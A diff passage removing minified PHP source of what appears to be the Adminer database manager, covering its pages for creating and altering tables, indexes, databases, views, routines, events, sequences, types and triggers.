- $Pc[idf_escape($o["field"])]=($a!=""&&$x!="sqlite"?"ADD":" ").format_foreign_key(array('table'=>$Rc[$o["type"]],'source'=>array($o["field"]),'target'=>array($Mh["field"]),'on_delete'=>$o["on_delete"]));
- $_a=" AFTER ".idf_escape($o["field"]);
- }elseif($o["orig"]!="") {
- $ai=true;
- $p[]=array($o["orig"]);
- }
- if($o["orig"]!="") {
- $ff=next($gf);
- if(!$ff)
- $_a="";
- }
- }
- $tf="";
- if($rf[$K["partition_by"]]) {
- $uf=array();
- if($K["partition_by"]=='RANGE'||$K["partition_by"]=='LIST') {
- foreach(array_filter($K["partition_names"]) as $y=>$X) {
- $Y=$K["partition_values"][$y];
- $uf[]="\n PARTITION ".idf_escape($X)." VALUES ".($K["partition_by"]=='RANGE'?"LESS THAN":"IN").($Y!=""?" ($Y)":" MAXVALUE");
- }
- }
- $tf.="\nPARTITION BY $K[partition_by]($K[partition])".($uf?" (".implode(",",$uf)."\n)":($K["partitions"]?" PARTITIONS ".(+$K["partitions"]):""));
- }elseif(support("partitioning")&&preg_match("~partitioned~",$S["Create_options"]))
- $tf.="\nREMOVE PARTITIONING";
- $pe='Table has been altered.';
- if($a=="") {
- cookie("adminer_engine",$K["Engine"]);
- $pe='Table has been created.';
- }
- $C=trim($K["name"]);
- queries_redirect(ME.(support("table")?"table=":"select=").urlencode($C),$pe, alter_table($a,$C, ($x=="sqlite"&&($ai||$Pc)?$Ca:$p),$Pc, ($K["Comment"]!=$S["Comment"]?$K["Comment"]:null),($K["Engine"]&&$K["Engine"]!=$S["Engine"]?$K["Engine"]:""),($K["Collation"]&&$K["Collation"]!=$S["Collation"]?$K["Collation"]:""),($K["Auto_increment"]!=""?number($K["Auto_increment"]):""),$tf));
- }
- }
- page_header(($a!=""?'Alter table':'Create table'),$n, array("table"=>$a), h($a));
- if(!$_POST) {
- $K=array("Engine"=>$_COOKIE["adminer_engine"],"fields"=>array(array("field"=>"","type"=>(isset($Oh["int"])?"int":(isset($Oh["integer"])?"integer":"")))),"partition_names"=>array(""));
- if($a!="") {
- $K=$S;
- $K["name"]=$a;
- $K["fields"]=array();
- if(!$_GET["auto_increment"])
- $K["Auto_increment"]="";
- foreach($gf as $o) {
- $o["has_default"]=isset($o["default"]);
- $K["fields"][]=$o;
- }
- if(support("partitioning")) {
- $Wc="FROM information_schema.PARTITIONS WHERE TABLE_SCHEMA = ".q(DB)." AND TABLE_NAME = ".q($a);
- $I=$g->query("SELECT PARTITION_METHOD, PARTITION_ORDINAL_POSITION, PARTITION_EXPRESSION $Wc ORDER BY PARTITION_ORDINAL_POSITION DESC LIMIT 1");
- list($K["partition_by"],$K["partitions"],$K["partition"])=$I->fetch_row();
- $uf=get_key_vals("SELECT PARTITION_NAME, PARTITION_DESCRIPTION $Wc AND PARTITION_NAME != '' ORDER BY PARTITION_ORDINAL_POSITION");
- $uf[""]="";
- $K["partition_names"]=array_keys($uf);
- $K["partition_values"]=array_values($uf);
- }
- }
- }
- $mb=collations();
- $nc=engines();
- foreach($nc as $mc) {
- if(!strcasecmp($mc,$K["Engine"])) {
- $K["Engine"]=$mc;
- break;
- }
- }
- echo '
- <form action="" method="post" id="form">
- <p>
- ';
- if(support("columns")||$a=="") {
- echo 'Table name: <input type="text" name="name" maxlength="64" value="', h($K["name"]), '" autocapitalize="off">
- ';
- if($a==""&&!$_POST) {
- echo"<script type='text/javascript'>focus(document.getElementById('form')['name']);</script>";
- }
- echo ($nc?"<select name='Engine' onchange='helpClose();'".on_help("getTarget(event).value",1).">".optionlist(array(""=>"(".'engine'.")")+$nc,$K["Engine"])."</select>":""), ' ', ($mb&&!preg_match("~sqlite|mssql~",$x)?html_select("Collation",array(""=>"(".'collation'.")")+$mb,$K["Collation"]):""), ' <input type="submit" value="Save">';
- }
- echo '';
- if(support("columns")) {
- echo '<table cellspacing="0" id="menustable edit-fields" class="nowrap" border="1">
- ';
- $rb=($_POST?$_POST["comments"]:$K["Comment"]!="");
- if(!$_POST&&!$rb) {
- foreach($K["fields"] as $o) {
- if($o["comment"]!="") {
- $rb=true;
- break;
- }
- }
- }
- edit_fields($K["fields"],$mb, "TABLE",$Rc,$rb);
- echo '</table>
- <p>
- Auto Increment: <input type="number" name="Auto_increment" size="6" value="', h($K["Auto_increment"]), '">
- ', checkbox("defaults",1, true, 'Default values', "columnShow(this.checked, 5)","jsonly");
- if(!$_POST["defaults"]) {
- echo '<script type="text/javascript">editingHideDefaults()</script>';
- }
- echo (support("comment")?"<label><input type='checkbox' name='comments' value='1' class='jsonly' onclick=\"columnShow(this.checked, 6); toggle('Comment'); if (this.checked) this.form['Comment'].focus();\"".($rb?" checked":"").">".'Comment'."</label>".' <input type="text" name="Comment" id="Comment" value="'.h($K["Comment"]).'" maxlength="'.($g->server_info>=5.5?2048:60).'"'.($rb?'':' class="hidden"').'>':''), '<p>
- <input type="submit" value="Save">
- ';
- }
- echo '';
- if($a!="") {
- echo '<input type="submit" name="drop" value="Drop"', confirm(), '>';
- }
- if(support("partitioning")) {
- $sf=preg_match('~RANGE|LIST~',$K["partition_by"]);
- print_fieldset("partition",'Partition by',$K["partition_by"]);
- echo '<p>', "<select name='partition_by' onchange='partitionByChange(this);'".on_help("getTarget(event).value.replace(/./, 'PARTITION BY \$&')",1).">".optionlist(array(""=>"")+$rf,$K["partition_by"])."</select>",'(<input type="text" name="partition" value="', h($K["partition"]), '">)
- Partitions: <input type="number" name="partitions" class="size', ($sf||!$K["partition_by"]?" hidden":""), '" value="', h($K["partitions"]), '">
- <table border="1" cellspacing="0" id="menustable partition-table"', ($sf?"":" class='hidden'"), '>
- <thead><tr><td>Partition name<td>Values</thead>
- ';
- foreach($K["partition_names"] as $y=>$X) {
- echo '<tr>','<td><input type="text" name="partition_names[]" value="'.h($X).'"'.($y==count($K["partition_names"])-1?' onchange="partitionNameChange(this);"':'').' autocapitalize="off">','<td><input type="text" name="partition_values[]" value="'.h($K["partition_values"][$y]).'">';
- }
- echo '</table>
- </div></fieldset>
- ';
- }
- echo '<input type="hidden" name="token" value="',$Ah, '">
- </form>
- ';
- }elseif(isset($_GET["indexes"])) {
- $a=$_GET["indexes"];
- $rd=array("PRIMARY","UNIQUE","INDEX");
- $S=table_status($a, true);
- if(preg_match('~MyISAM|M?aria'.($g->server_info>=5.6?'|InnoDB':'').'~i',$S["Engine"]))
- $rd[]="FULLTEXT";
- if(preg_match('~MyISAM|M?aria'.($g->server_info>=5.7?'|InnoDB':'').'~i',$S["Engine"]))
- $rd[]="SPATIAL";
- $w=indexes($a);
- $Hf=array();
- if($x=="mongo") {
- $Hf=$w["_id_"];
- unset($rd[0]);
- unset($w["_id_"]);
- }
- $K=$_POST;
- if($_POST&&!$n&&!$_POST["add"]&&!$_POST["drop_col"]) {
- $c=array();
- foreach($K["indexes"] as $v) {
- $C=$v["name"];
- if(in_array($v["type"],$rd)) {
- $f=array();
- $Zd=array();
- $Ob=array();
- $O=array();
- ksort($v["columns"]);
- foreach($v["columns"] as $y=>$e) {
- if($e!="") {
- $Yd=$v["lengths"][$y];
- $Nb=$v["descs"][$y];
- $O[]=idf_escape($e).($Yd?"(".(+$Yd).")":"").($Nb?" DESC":"");
- $f[]=$e;
- $Zd[]=($Yd?$Yd:null);
- $Ob[]=$Nb;
- }
- }
- if($f) {
- $wc=$w[$C];
- if($wc) {
- ksort($wc["columns"]);
- ksort($wc["lengths"]);
- ksort($wc["descs"]);
- if($v["type"]==$wc["type"]&&array_values($wc["columns"])===$f&&(!$wc["lengths"]||array_values($wc["lengths"])===$Zd)&&array_values($wc["descs"])===$Ob) {
- unset($w[$C]);
- continue;
- }
- }
- $c[]=array($v["type"],$C,$O);
- }
- }
- }
- foreach($w as $C=>$wc)
- $c[]=array($wc["type"],$C,"DROP");
- if(!$c)
- redirect(ME."table=".urlencode($a));
- queries_redirect(ME."table=".urlencode($a), 'Indexes have been altered.', alter_indexes($a,$c));
- }
- page_header('Indexes',$n, array("table"=>$a), h($a));
- $p=array_keys(fields($a));
- if($_POST["add"]) {
- foreach($K["indexes"] as $y=>$v) {
- if($v["columns"][count($v["columns"])]!="")
- $K["indexes"][$y]["columns"][]="";
- }
- $v=end($K["indexes"]);
- if($v["type"]||array_filter($v["columns"], 'strlen'))
- $K["indexes"][]=array("columns"=>array(1=>""));
- }
- if(!$K) {
- foreach($w as $y=>$v) {
- $w[$y]["name"]=$y;
- $w[$y]["columns"][]="";
- }
- $w[]=array("columns"=>array(1=>""));
- $K["indexes"]=$w;
- }
- echo'<form action="" method="post">
- <table id="menustable" cellspacing="0" class="nowrap" border="1">
- <thead><tr>
- <th id="label-type">Index Type
- <td><input type="submit" class="wayoff">Column (length)
- <th id="label-name">Name
- <td><noscript><input type="image" class="icon" name="add[0]" src="data:image/png;base64,R0lGODlhEgASAIEAMe7u7gAAgJmZmQAAACH5BAEAAAEALAAAAAASABIAAQIhhI+py+0PTQjxzCopvm/6rykgCHGVGaFliLXuI8TyTMsFADs=" alt="+" title="Add next"></noscript>
- </thead>';
- if($Hf) {
- echo "<tr><td>PRIMARY<td>";
- foreach($Hf["columns"] as $y=>$e) {
- echo select_input(" disabled",$p,$e), "<label><input disabled type='checkbox'>".'descending'."</label> ";
- }
- echo "<td><td>\n";
- }
- $Hd=1;
- foreach($K["indexes"] as $v) {
- if(!$_POST["drop_col"]||$Hd!=key($_POST["drop_col"])) {
- echo "<tr><td>".html_select("indexes[$Hd][type]",array(-1=>"")+$rd,$v["type"], ($Hd==count($K["indexes"])?"indexesAddRow(this);":1), "label-type"), "<td>";
- ksort($v["columns"]);
- $s=1;
- foreach($v["columns"] as $y=>$e) {
- echo "<span>".select_input(" name='indexes[$Hd][columns][$s]' onchange=\"".($s==count($v["columns"])?"indexesAddColumn":"indexesChangeColumn")."(this, '".h(js_escape($x=="sql"?"":$_GET["indexes"]."_"))."');\" title='".'Column'."'",($p?array_combine($p,$p):$p),$e),($x=="sql"||$x=="mssql"?"<input type='number' name='indexes[$Hd][lengths][$s]' class='size' value='".h($v["lengths"][$y])."' title='".'Length'."'>":""),($x!="sql"?checkbox("indexes[$Hd][descs][$s]",1,$v["descs"][$y], 'descending'):""), " </span>";
- $s++;
- }
- echo "<td><input name='indexes[$Hd][name]' value='".h($v["name"])."' autocapitalize='off' aria-labelledby='label-name'>\n","<td><input type='image' class='icon' name='drop_col[$Hd]' src='data:image/png;base64,R0lGODlhEgASAIEAMe7u7gAAgJmZmQAAACH5BAEAAAEALAAAAAASABIAAQIjhI+py+0PIwph1kZvfnnDLoFfd2GU4THnsUruC0fCTNc2XQAAOw==' alt='x' title='".'Remove'."' onclick=\"return !editingRemoveRow(this, 'indexes\$1[type]');\">\n";
- }
- $Hd++;
- }
- echo '</table><p>
- <input type="submit" value="Save">
- <input type="hidden" name="token" value="',$Ah, '">
- </form>';
- }elseif(isset($_GET["database"])) {
- $K=$_POST;
- if($_POST&&!$n&&!isset($_POST["add_x"])) {
- $C=trim($K["name"]);
- if($_POST["drop"]) {
- $_GET["db"]="";
- queries_redirect(remove_from_uri("db|database"), 'Database has been dropped.', drop_databases(array(DB)));
- }elseif(DB!==$C) {
- if(DB!="") {
- $_GET["db"]=$C;
- queries_redirect(preg_replace('~\bdb=[^&]*&~','', ME)."db=".urlencode($C), 'Database has been renamed.', rename_database($C,$K["collation"]));
- }else{
- $l=explode("\n",str_replace("\r","",$C));
- $Xg=true;
- $Sd="";
- foreach($l as $m) {
- if(count($l)==1||$m!="") {
- if(!create_database($m,$K["collation"]))
- $Xg=false;
- $Sd=$m;
- }
- }
- restart_session();
- set_session("dbs",null);
- queries_redirect(ME."db=".urlencode($Sd), 'Database has been created.',$Xg);
- }
- }else{
- if(!$K["collation"])
- redirect(substr(ME, 0, -1));
- query_redirect("ALTER DATABASE ".idf_escape($C).(preg_match('~^[a-z0-9_]+$~i',$K["collation"])?" COLLATE $K[collation]":""), substr(ME, 0, -1), 'Database has been altered.');
- }
- }
- page_header(DB!=""?'Alter database':'Create database',$n, array(), h(DB));
- $mb=collations();
- $C=DB;
- if($_POST)
- $C=$K["name"];
- elseif(DB!="")
- $K["collation"]=db_collation(DB,$mb);
- elseif($x=="sql") {
- foreach(get_vals("SHOW GRANTS") as $Yc) {
- if(preg_match('~ ON (`(([^\\\\`]|``|\\\\.)*)%`\\.\\*)?~',$Yc,$B)&&$B[1]) {
- $C=stripcslashes(idf_unescape("`$B[2]`"));
- break;
- }
- }
- }
- echo'<form action="" method="post"><p>', ($_POST["add_x"]||strpos($C, "\n")?'<textarea id="name" name="name" rows="10" cols="40">'.h($C).'</textarea><br>':'<input type="text" name="name" id="name" value="'.h($C).'" maxlength="64" autocapitalize="off">')."\n".($mb?html_select("collation",array(""=>"(".'collation'.")")+$mb,$K["collation"]).doc_link(array('sql'=>"charset-charsets.html",'mssql'=>"ms187963.aspx")):"");
- echo'<script type="text/javascript">focus(document.getElementById("name"));</script>
- <input type="submit" value="Save">';
- if(DB!="")
- echo "<input type='submit' name='drop' value='".'Drop'."'".confirm().">\n";
- elseif(!$_POST["add_x"]&&$_GET["db"]=="")
- echo "<input type='image' class='icon' name='add' src='data:image/png;base64,R0lGODlhEgASAIEAMe7u7gAAgJmZmQAAACH5BAEAAAEALAAAAAASABIAAQIhhI+py+0PTQjxzCopvm/6rykgCHGVGaFliLXuI8TyTMsFADs=' alt='+' title='".'Add next'."'>\n";
- echo '<input type="hidden" name="token" value="',$Ah, '">
- </form>';
- }elseif(isset($_GET["scheme"])) {
- $K=$_POST;
- if($_POST&&!$n) {
- $_=preg_replace('~ns=[^&]*&~','', ME)."ns=";
- if($_POST["drop"])
- query_redirect("DROP SCHEMA ".idf_escape($_GET["ns"]),$_, 'Schema has been dropped.');
- else {
- $C=trim($K["name"]);
- $_.=urlencode($C);
- if($_GET["ns"]=="")
- query_redirect("CREATE SCHEMA ".idf_escape($C),$_, 'Schema has been created.');
- elseif($_GET["ns"]!=$C)
- query_redirect("ALTER SCHEMA ".idf_escape($_GET["ns"])." RENAME TO ".idf_escape($C),$_, 'Schema has been altered.');
- else
- redirect($_);
- }
- }
- page_header($_GET["ns"]!=""?'Alter schema':'Create schema',$n);
- if(!$K)
- $K["name"]=$_GET["ns"];
- echo '<form action="" method="post">
- <p><input type="text" name="name" id="name" value="'.h($K["name"]).'" autocapitalize="off">
- <script type=\'text/javascript\'>focus(document.getElementById(\'name\'));</script>
- <input type="submit" value="Save">';
- if($_GET["ns"]!="")
- echo "<input type='submit' name='drop' value='".'Drop'."'".confirm().">\n";
- echo '<input type="hidden" name="token" value="',$Ah, '">
- </form>
- ';
- }elseif(isset($_GET["call"])) {
- $da=$_GET["call"];
- page_header('Call'.": ".h($da),$n);
- $og=routine($da, (isset($_GET["callf"])?"FUNCTION":"PROCEDURE"));
- $pd=array();
- $kf=array();
- foreach($og["fields"] as $s=>$o) {
- if(substr($o["inout"], -3)=="OUT")
- $kf[$s]="@".idf_escape($o["field"])." AS ".idf_escape($o["field"]);
- if(!$o["inout"]||substr($o["inout"], 0, 2)=="IN")
- $pd[]=$s;
- }
- if(!$n&&$_POST) {
- $Xa=array();
- foreach($og["fields"] as $y=>$o) {
- if(in_array($y,$pd)) {
- $X=process_input($o);
- if($X===false)
- $X="''";
- if(isset($kf[$y]))
- $g->query("SET @".idf_escape($o["field"])." = $X");
- }
- $Xa[]=(isset($kf[$y])?"@".idf_escape($o["field"]):$X);
- }
- $H=(isset($_GET["callf"])?"SELECT":"CALL")." ".table($da)."(".implode(",",$Xa).")";
- echo "<p><span class='jush-$x'>".h($H)."</span> <a href='".h(ME)."sql=".urlencode($H)."'>".'Edit'."</a>\n";
- if(!$g->multi_query($H))
- echo "<p class='error'>".error()."\n";
- else {
- $h=connect();
- if(is_object($h))
- $h->select_db(DB);
- do {
- $I=$g->store_result();
- if(is_object($I))
- select($I,$h);
- else
- echo "<p class='message'>".lang(array('Routine has been called, %d row affected.','Routine has been called, %d rows affected.'),$g->affected_rows)."\n";
- } while($g->next_result());
- if($kf)
- select($g->query("SELECT ".implode(",",$kf)));
- }
- }
- echo'<form action="" method="post">';
- if($pd) {
- echo "<table id='menustable' cellspacing='0' border='1'>\n";
- foreach($pd as $y) {
- $o=$og["fields"][$y];
- $C=$o["field"];
- echo "<tr><td>".$b->fieldName($o);
- $Y=$_POST["fields"][$C];
- if($Y!="") {
- if($o["type"]=="enum")
- $Y=+$Y;
- if($o["type"]=="set")
- $Y=array_sum($Y);
- }
- input($o,$Y, (string) $_POST["function"][$C]);
- echo "\n";
- }
- echo "</table>\n";
- }
- echo '<p>
- <input type="submit" value="Call">
- <input type="hidden" name="token" value="',$Ah, '">
- </form>
- ';
- }elseif(isset($_GET["foreign"])) {
- $a=$_GET["foreign"];
- $C=$_GET["name"];
- $K=$_POST;
- if($_POST&&!$n&&!$_POST["add"]&&!$_POST["change"]&&!$_POST["change-js"]) {
- $pe=($_POST["drop"]?'Foreign key has been dropped.':($C!=""?'Foreign key has been altered.':'Foreign key has been created.'));
- $A=ME."table=".urlencode($a);
- if(!$_POST["drop"]) {
- $K["source"]=array_filter($K["source"], 'strlen');
- ksort($K["source"]);
- $lh=array();
- foreach($K["source"] as $y=>$X)
- $lh[$y]=$K["target"][$y];
- $K["target"]=$lh;
- }
- if($x=="sqlite")
- queries_redirect($A,$pe, recreate_table($a,$a, array(), array(), array(" $C"=>($_POST["drop"]?"":" ".format_foreign_key($K)))));
- else {
- $c="ALTER TABLE ".table($a);
- $Xb="\nDROP ".($x=="sql"?"FOREIGN KEY ":"CONSTRAINT ").idf_escape($C);
- if($_POST["drop"])
- query_redirect($c.$Xb,$A,$pe);
- else {
- query_redirect($c.($C!=""?"$Xb,":"")."\nADD".format_foreign_key($K),$A,$pe);
- $n='Source and target columns must have the same data type, there must be an index on the target columns and referenced data must exist.'."<br>$n";
- }
- }
- }
- page_header('Foreign key',$n, array("table"=>$a), h($a));
- if($_POST) {
- ksort($K["source"]);
- if($_POST["add"])
- $K["source"][]="";
- elseif($_POST["change"]||$_POST["change-js"])
- $K["target"]=array();
- }elseif($C!="") {
- $Rc=foreign_keys($a);
- $K=$Rc[$C];
- $K["source"][]="";
- }else{
- $K["table"]=$a;
- $K["source"]=array("");
- }
- $Ng=array_keys(fields($a));
- $lh=($a===$K["table"]?$Ng:array_keys(fields($K["table"])));
- $Zf=array_keys(array_filter(table_status('', true), 'fk_support'));
- echo '
- <form action="" method="post">
- <p>
- ';
- if($K["db"]==""&&$K["ns"]=="") {
- echo 'Target table:
- ', html_select("table",$Zf,$K["table"], "this.form['change-js'].value = '1'; this.form.submit();"), '<input type="hidden" name="change-js" value="">
- <noscript><p><input type="submit" name="change" value="Change"></noscript>
- <table id="menustable" cellspacing="0" border="1">
- <thead><tr><th id="label-source">Source<th id="label-target">Target</thead>
- ';
- $Hd=0;
- foreach($K["source"] as $y=>$X) {
- echo "<tr>","<td>".html_select("source[".(+$y)."]",array(-1=>"")+$Ng,$X, ($Hd==count($K["source"])-1?"foreignAddRow(this);":1), "label-source"), "<td>".html_select("target[".(+$y)."]",$lh,$K["target"][$y], 1, "label-target");
- $Hd++;
- }
- echo '</table>
- <p>
- ON DELETE: ', html_select("on_delete",array(-1=>"")+explode("|",$Qe),$K["on_delete"]), ' ON UPDATE: ', html_select("on_update",array(-1=>"")+explode("|",$Qe),$K["on_update"]), doc_link(array('sql'=>"innodb-foreign-key-constraints.html",'pgsql'=>"sql-createtable.html#SQL-CREATETABLE-REFERENCES",'mssql'=>"ms174979.aspx",'oracle'=>"clauses002.htm#sthref2903")), '<p>
- <input type="submit" value="Save">
- <noscript><p><input type="submit" name="add" value="Add column"></noscript>
- ';
- }
- if($C!="") {
- echo '<input type="submit" name="drop" value="Drop"', confirm(), '>';
- }
- echo '<input type="hidden" name="token" value="',$Ah, '">
- </form>
- ';
- }elseif(isset($_GET["view"])) {
- $a=$_GET["view"];
- $K=$_POST;
- $hf="VIEW";
- if($x=="pgsql"&&$a!="") {
- $P=table_status($a);
- $hf=strtoupper($P["Engine"]);
- }
- if($_POST&&!$n) {
- $C=trim($K["name"]);
- $Fa=" AS\n$K[select]";
- $A=ME."table=".urlencode($C);
- $pe='View has been altered.';
- $U=($_POST["materialized"]?"MATERIALIZED VIEW":"VIEW");
- if(!$_POST["drop"]&&$a==$C&&$x!="sqlite"&&$U=="VIEW"&&$hf=="VIEW")
- query_redirect(($x=="mssql"?"ALTER":"CREATE OR REPLACE")." VIEW ".table($C).$Fa,$A,$pe);
- else {
- $nh=$C."_adminer_".uniqid();
- drop_create("DROP $hf ".table($a), "CREATE $U ".table($C).$Fa, "DROP $U ".table($C), "CREATE $U ".table($nh).$Fa, "DROP $U ".table($nh),($_POST["drop"]?substr(ME, 0, -1):$A), 'View has been dropped.',$pe, 'View has been created.',$a,$C);
- }
- }
- if(!$_POST&&$a!="") {
- $K=view($a);
- $K["name"]=$a;
- $K["materialized"]=($hf!="VIEW");
- if(!$n)
- $n=error();
- }
- page_header(($a!=""?'Alter view':'Create view'),$n, array("table"=>$a), h($a));
- echo '<form action="" method="post">
- <p>Name: <input type="text" name="name" value="', h($K["name"]), '" maxlength="64" autocapitalize="off">', (support("materializedview")?" ".checkbox("materialized",1,$K["materialized"], 'Materialized view'):""), '<p>';
- textarea("select",$K["select"]);
- echo '<p><input type="submit" value="Save">';
- if($_GET["view"]!="") {
- echo '<input type="submit" name="drop" value="Drop"', confirm(), '>';
- }
- echo '<input type="hidden" name="token" value="',$Ah, '">
- </form>';
- }elseif(isset($_GET["event"])) {
- $aa=$_GET["event"];
- $zd=array("YEAR","QUARTER","MONTH","DAY","HOUR","MINUTE","WEEK","SECOND","YEAR_MONTH","DAY_HOUR","DAY_MINUTE","DAY_SECOND","HOUR_MINUTE","HOUR_SECOND","MINUTE_SECOND");
- $Tg=array("ENABLED"=>"ENABLE","DISABLED"=>"DISABLE","SLAVESIDE_DISABLED"=>"DISABLE ON SLAVE");
- $K=$_POST;
- if($_POST&&!$n) {
- if($_POST["drop"])
- query_redirect("DROP EVENT ".idf_escape($aa), substr(ME, 0, -1), 'Event has been dropped.');
- elseif(in_array($K["INTERVAL_FIELD"],$zd)&&isset($Tg[$K["STATUS"]])) {
- $tg="\nON SCHEDULE ".($K["INTERVAL_VALUE"]?"EVERY ".q($K["INTERVAL_VALUE"])." $K[INTERVAL_FIELD]".($K["STARTS"]?" STARTS ".q($K["STARTS"]):"").($K["ENDS"]?" ENDS ".q($K["ENDS"]):""):"AT ".q($K["STARTS"]))." ON COMPLETION".($K["ON_COMPLETION"]?"":" NOT")." PRESERVE";
- queries_redirect(substr(ME, 0, -1),($aa!=""?'Event has been altered.':'Event has been created.'), queries(($aa!=""?"ALTER EVENT ".idf_escape($aa).$tg.($aa!=$K["EVENT_NAME"]?"\nRENAME TO ".idf_escape($K["EVENT_NAME"]):""):"CREATE EVENT ".idf_escape($K["EVENT_NAME"]).$tg)."\n".$Tg[$K["STATUS"]]." COMMENT ".q($K["EVENT_COMMENT"]).rtrim(" DO\n$K[EVENT_DEFINITION]",";").";"));
- }
- }
- page_header(($aa!=""?'Alter event'.": ".h($aa):'Create event'),$n);
- if(!$K&&$aa!="") {
- $L=get_rows("SELECT * FROM information_schema.EVENTS WHERE EVENT_SCHEMA = ".q(DB)." AND EVENT_NAME = ".q($aa));
- $K=reset($L);
- }
- echo '
- <form action="" method="post">
- <table id="menustable" cellspacing="0" border="1">
- <tr><td>Name<td><input type="text" name="EVENT_NAME" value="', h($K["EVENT_NAME"]), '" maxlength="64" autocapitalize="off">
- <tr><td title="datetime">Start<td><input type="text" name="STARTS" value="', h("$K[EXECUTE_AT]$K[STARTS]"), '">
- <tr><td title="datetime">End<td><input type="text" name="ENDS" value="', h($K["ENDS"]), '">
- <tr><td>Every<td><input type="number" name="INTERVAL_VALUE" value="', h($K["INTERVAL_VALUE"]), '" class="size"> ', html_select("INTERVAL_FIELD",$zd,$K["INTERVAL_FIELD"]), '<tr><td>Status<td>', html_select("STATUS",$Tg,$K["STATUS"]), '<tr><td>Comment<td><input type="text" name="EVENT_COMMENT" value="', h($K["EVENT_COMMENT"]), '" maxlength="64">
- <tr><td> <td>', checkbox("ON_COMPLETION","PRESERVE",$K["ON_COMPLETION"]=="PRESERVE",'On completion preserve'), '</table>
- <p>';
- textarea("EVENT_DEFINITION",$K["EVENT_DEFINITION"]);
- echo '<p><input type="submit" value="Save">';
- if($aa!="") {
- echo '<input type="submit" name="drop" value="Drop"', confirm(), '>';
- }
- echo '<input type="hidden" name="token" value="',$Ah, '"></form>';
- }elseif(isset($_GET["procedure"])) {
- $da=$_GET["procedure"];
- $og=(isset($_GET["function"])?"FUNCTION":"PROCEDURE");
- $K=$_POST;
- $K["fields"]=(array) $K["fields"];
- if($_POST&&!process_fields($K["fields"])&&!$n) {
- $nh="$K[name]_adminer_".uniqid();
- drop_create("DROP $og ".idf_escape($da), create_routine($og,$K), "DROP $og ".idf_escape($K["name"]), create_routine($og, array(
- "name"=>$nh
- )+$K), "DROP $og ".idf_escape($nh), substr(ME, 0, -1), 'Routine has been dropped.','Routine has been altered.','Routine has been created.',$da,$K["name"]);
- }
- page_header(($da!=""?(isset($_GET["function"])?'Alter function':'Alter procedure').": ".h($da):(isset($_GET["function"])?'Create function':'Create procedure')),$n);
- if(!$_POST&&$da!="") {
- $K=routine($da,$og);
- $K["name"]=$da;
- }
- $mb=get_vals("SHOW CHARACTER SET");
- sort($mb);
- $pg=routine_languages();
- echo '
- <form action="" method="post" id="form">
- <p>Name: <input type="text" name="name" value="', h($K["name"]), '" maxlength="64" autocapitalize="off">
- ', ($pg?'Language'.": ".html_select("language",$pg,$K["language"]):""), '<input type="submit" value="Save">
- <table id="menustable" cellspacing="0" class="nowrap" border="1">
- ';
- edit_fields($K["fields"],$mb,$og);
- if(isset($_GET["function"])) {
- echo "<tr><td>".'Return type';
- edit_type("returns",$K["returns"],$mb);
- }
- echo '</table>
- <p>';
- textarea("definition",$K["definition"]);
- echo '<p>
- <input type="submit" value="Save">
- ';
- if($da!="") {
- echo '<input type="submit" name="drop" value="Drop"', confirm(), '>';
- }
- echo '<input type="hidden" name="token" value="',$Ah, '">
- </form>
- ';
- }elseif(isset($_GET["sequence"])) {
- $fa=$_GET["sequence"];
- $K=$_POST;
- if($_POST&&!$n) {
- $_=substr(ME, 0, -1);
- $C=trim($K["name"]);
- if($_POST["drop"])
- query_redirect("DROP SEQUENCE ".idf_escape($fa),$_, 'Sequence has been dropped.');
- elseif($fa=="")
- query_redirect("CREATE SEQUENCE ".idf_escape($C),$_, 'Sequence has been created.');
- elseif($fa!=$C)
- query_redirect("ALTER SEQUENCE ".idf_escape($fa)." RENAME TO ".idf_escape($C),$_, 'Sequence has been altered.');
- else
- redirect($_);
- }
- page_header($fa!=""?'Alter sequence'.": ".h($fa):'Create sequence',$n);
- if(!$K)
- $K["name"]=$fa;
- echo '
- <form action="" method="post">
- <p><input name="name" value="', h($K["name"]), '" autocapitalize="off">
- <input type="submit" value="Save">
- ';
- if($fa!="")
- echo "<input type='submit' name='drop' value='".'Drop'."'".confirm().">\n";
- echo '<input type="hidden" name="token" value="',$Ah, '">
- </form>
- ';
- }elseif(isset($_GET["type"])) {
- $ga=$_GET["type"];
- $K=$_POST;
- if($_POST&&!$n) {
- $_=substr(ME, 0, -1);
- if($_POST["drop"])
- query_redirect("DROP TYPE ".idf_escape($ga),$_, 'Type has been dropped.');
- else
- query_redirect("CREATE TYPE ".idf_escape(trim($K["name"]))." $K[as]",$_, 'Type has been created.');
- }
- page_header($ga!=""?'Alter type'.": ".h($ga):'Create type',$n);
- if(!$K)
- $K["as"]="AS ";
- echo '
- <form action="" method="post">
- <p>
- ';
- if($ga!="")
- echo "<input type='submit' name='drop' value='".'Drop'."'".confirm().">\n";
- else {
- echo "<input type='text' name='name' value='".h($K['name'])."' autocapitalize='off'>\n";
- textarea("as",$K["as"]);
- echo "<p><input type='submit' value='".'Save'."'>\n";
- }
- echo '<input type="hidden" name="token" value="',$Ah, '">
- </form>
- ';
- }elseif(isset($_GET["trigger"])) {
- $a=$_GET["trigger"];
- $C=$_GET["name"];
- $Kh=trigger_options();
- $K=(array) trigger($C)+array("Trigger"=>$a."_bi");
- if($_POST) {
- if(!$n&&in_array($_POST["Timing"],$Kh["Timing"])&&in_array($_POST["Event"],$Kh["Event"])&&in_array($_POST["Type"],$Kh["Type"])) {
- $Pe=" ON ".table($a);
- $Xb="DROP TRIGGER ".idf_escape($C).($x=="pgsql"?$Pe:"");
- $A=ME."table=".urlencode($a);
- if($_POST["drop"])
- query_redirect($Xb,$A, 'Trigger has been dropped.');
- else {
- if($C!="")
- queries($Xb);
- queries_redirect($A, ($C!=""?'Trigger has been altered.':'Trigger has been created.'), queries(create_trigger($Pe,$_POST)));
- if($C!="")
- queries(create_trigger($Pe,$K+array("Type"=>reset($Kh["Type"]))));
- }
- }
- $K=$_POST;
- }
- page_header(($C!=""?'Alter trigger'.": ".h($C):'Create trigger'),$n, array("table"=>$a));
- echo '
- <form action="" method="post" id="form">
- <table id="menustable" cellspacing="0" border="1">
- <tr><td>Time<td>', html_select("Timing",$Kh["Timing"],$K["Timing"], "triggerChange(/^".preg_quote($a, "/")."_[ba][iud]$/, '".js_escape($a)."', this.form);"), '<tr>
- <td>Event<td>', html_select("Event",$Kh["Event"],$K["Event"], "this.form['Timing'].onchange();"),(in_array("UPDATE OF",$Kh["Event"])?" <input name='Of' value='".h($K["Of"])."' class='hidden'>":""), '<tr>
- <td>Type<td>', html_select("Type",$Kh["Type"],$K["Type"]), '</table>
- <p>Name: <input type="text" name="Trigger" value="'. h($K["Trigger"]).'" maxlength="64" autocapitalize="off">
